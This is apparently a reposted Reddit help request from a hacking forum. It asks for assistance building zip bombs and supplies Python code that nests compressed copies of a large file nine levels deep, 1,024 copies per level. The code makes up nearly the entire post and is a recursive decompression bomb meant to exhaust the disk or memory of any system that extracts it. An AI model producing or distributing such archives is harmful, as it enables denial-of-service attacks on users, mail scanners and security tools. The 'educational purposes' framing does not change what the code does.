Need help with creating zip bombs (for educational purposes)
import os, zipfiledef create_file(filename): with open(filename, 'w') as f: for 2025-1-23 15:45:40 Author: www.reddit.com(查看原文) 阅读量:4 收藏

import os, zipfile


def create_file(filename):
    with open(filename, 'w') as f:
        for i in range(1000000):
            value = i%2
            f.write(f"{value}\n")

def create_zip(zipname, filename):
    zipf = zipfile.ZipFile(zipname, 'w', compression=zipfile.ZIP_DEFLATED)
    zipf.write(filename)
    zipf.close()


def create_copies(original_zip, num_copies):
    # Create individual copies
    copies = []
    for i in range(num_copies):
        new_zip_name = f'copy_{i + 1}_{original_zip}'
        with zipfile.ZipFile(new_zip_name, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(original_zip)
        copies.append(new_zip_name)

    os.remove(original_zip)

    # Create ultimate zip of all copies
    with zipfile.ZipFile(original_zip, 'w', compression=zipfile.ZIP_DEFLATED) as ultimate_zip:
        for copy in copies:
            ultimate_zip.write(copy)
            os.remove(copy)

def create_ultimate_zip(original_zip, num_levels, num_copies):
    for i in range(num_levels):
        create_copies(original_zip, num_copies)

# create_file("test.txt")
# print(os.path.getsize("test.txt"))
# create_zip("myzip.zip", "test.txt")
# create_copies('myzip', 1024)
create_ultimate_zip("myzip.zip", 9, 1024)

文章来源: https://www.reddit.com/r/HowToHack/comments/1i86a64/need_help_with_creating_zip_bombs_for_educational/
如有侵权请联系:admin#unsafe.sh